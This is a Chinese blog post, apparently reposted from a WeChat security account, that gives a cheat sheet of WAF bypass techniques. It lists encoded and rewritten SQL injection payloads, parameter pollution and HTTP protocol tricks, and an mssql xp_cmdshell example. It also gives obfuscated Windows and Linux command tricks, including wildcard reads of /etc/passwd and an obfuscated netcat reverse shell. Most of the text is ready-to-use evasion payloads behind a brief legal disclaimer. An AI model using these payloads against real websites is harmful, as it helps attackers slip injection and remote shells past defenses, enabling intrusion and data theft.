【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

admin 2023年5月11日02:22:35评论39 views字数 2814阅读9分22秒阅读模式


【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势


【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

全网-WAF专题(一)


开学 每一天


1、【导读】500+WAF案例总结(一)


2、【思路速成】快速融入实战环境


3、【免费】技术共享原则,持续免费更新


4、【遵守版权】对于创作好的思路,后台发送"打狗",获取完整excl,关注有技术的师傅


5、【遵纪守法】遵守相关的法律法规,只做技术研究、切勿用作非法用途,所产生的后果与本文无关

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势


后台暗号:【打狗】,excl附带原文URL,关注每一位有技术的师傅,使创作者都能在黑暗中找到光明。



【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势
【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势
【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

幼儿园我又来啦




【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势
【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

用微笑改变世界

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势


方法

Payload

编码

1、进行url编码(少数waf不会进行URL解码,部分waf进行一次url解码==>可对payload进行二次url编码

 

2Unicode编码:单引号 = %u0027%u02b9%u02bc

 

3、部分十六进制编码:adminuser = 0x61646D696E75736572

 

SQL编码:unicodeHEXURLascllbase64

 

5XSS编码:HTMLURLASCIIJS编码、base64

 

大小写变换

select = SELecT

关键字替换

And = &&

 

Or = ||

 

等于号 = like (或使用<  > 进行判断)

 

if(a,b,c) = case when(A) then B else C end

 

substr(str,1,1) = substr (str) from 1 for 1

 

limit 1,1 = limit 1 offset 1

 

Union select 1,2 = union select * from ((select 1)A join (select 2)B;

 

hex()bin() = ascii()

 

sleep() = benchmark()

 

concat_ws() = group_concat()

 

mid()substr() = substring()

 

@@user = user()

 

@@datadir = datadir()

特殊字符替换(空格或注释绕过)

sqlserver中:/**//*|%23--%23|*/ 

 

mysql中:%0a%0a/**///*!*//#A%0a

特殊字符重写绕过

selselectect

多请求拆分绕过

 

?a=[inputa]&b=[inputb]  ===(参数拼接)  and a=[inputa] and b=[inputb]

参数放Cookie里面进行绕过

$_REQUEST(获取参数,会获取GET POST COOKIE===>  若未检测cookie,我们可以放cookie里面

使用白名单绕过

admin dede install等目录特殊目录在白名单内

 

URL/xxx.php?id=1 union select …… ===

 

1URL/xxx.php/admin?id=1 union select……

2URL/admin/..xxx.php?id=1 union select……

内联注释绕过

id=1 and 1=1 ===  id=1/*!and*/1=1

参数重写绕过

URL/xx.php?id=1 union select  ===

 

URL/xx.php?id=1&id=union&id=select&id=……&id=

特殊字符拼接

mssql中,函数里面可以用+来拼接

?id=1;exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

Windows特性

利用符号分割字符:whoami ==((((Wh^o^am””i)))) 

 

利用变量分割关键字:whoami ==set a=who&&b=ami&&call %a%%b%

 

设置一个变量:set a=123whoami456  ===》 取出变量a的第3位开始共计6个字符:echo %a:~3,6%  ===》执行取出的值:%a:~3,6%

Linux特性

单引号或双引号连接符:whoami = whoami

 

?,*通配符:Cat /etc/passwd = cat /?t*/??ss**

 

[] 通配符,匹配【】中的字符:whoami = /b[12312i]n/w[23sh]oa[2msh]i

 

变量拼接:Whoami = a=who&&b=ami&&$a$b

 

目录穿越:cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd

 

Shell反弹(127.0.0.1 2130706433):nc -e /bin/bash 127.0.0.1 1234 =/??n/?c -e /??n/b??h 2130706433 1234

waf

===》找真实IP

bp插件

bypass waf

http协议绕过

 

Content-Type绕过:application/x-www-form-urlencoded è multipart/form-data

 

请求方式绕过:更换请求方法

 

Content-Disposition绕过:包含多个Content-Disposition时,中间件与waf取值不同 

 

keep-alivePipeline)绕过:手动设置Connection:keep-alive(未断开),然后在http请求报文中构造多个请求,将恶意代码隐藏在第n个请求中,从而绕过waf

 

修改编码方式:Charset=xxx进行绕过

 

Waf检测限制绕过

 

参数溢出

 

缓冲区溢出:

UnIoN SeLeCT === and (select 1)=(Select 0xA*99999) UnIoN SeLeCT

and 1=1 === and 1=1 and 99…99999 //此处省略N多个9

同网段/ssrf绕过



【edusrc案例-姿势总结(二)】幼儿园-漏洞挖掘链-姿势探寻

2023-05-09

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【edusrc案例-思路总结(一)】幼儿园-挖掘链总结

2023-05-07

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【4K+套-edusrc案例】在大大的幼儿园里,挖呀挖

2023-05-06

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【400套-SQL注入案例】快速提升SQL场景经验判断能力

2023-05-05

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【4.26反间谍法  |  网安从业者】进来看看你踩了几条"红线"

2023-04-27

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【二手路由器 | “全家桶”一锅端】黑客查的是你的数据,而不是你的应用内存!醒醒吧!

2023-04-24

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【太空信息安全 | 卫星劫持】黑客也能上太空

2023-04-22

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【车联网 | 黑客无钥匙进入】极速2分钟带走一辆爱车

2023-04-21

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【SQL注入漏洞 | 5个组合漏洞思路】SQL注入进阶 组合漏洞思维

2023-04-20

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【文件读取漏洞 | 12个组合思路】CVE中的敏感文件读取---漏洞组合思路

2023-04-19

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【通俗易懂】外网渗透测试流程 | 14个小实验

2023-04-18

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

【命令执行漏洞-案例复现】CVE中的命令、代码执行的场景分析

2023-04-15

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

网络安全知识体系建设课程 第一期

2023-04-13

【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势



原文始发于微信公众号(攻防武器实验室):【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月11日02:22:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势https://cn-sec.com/archives/1725658.html

发表评论

匿名网友 填写信息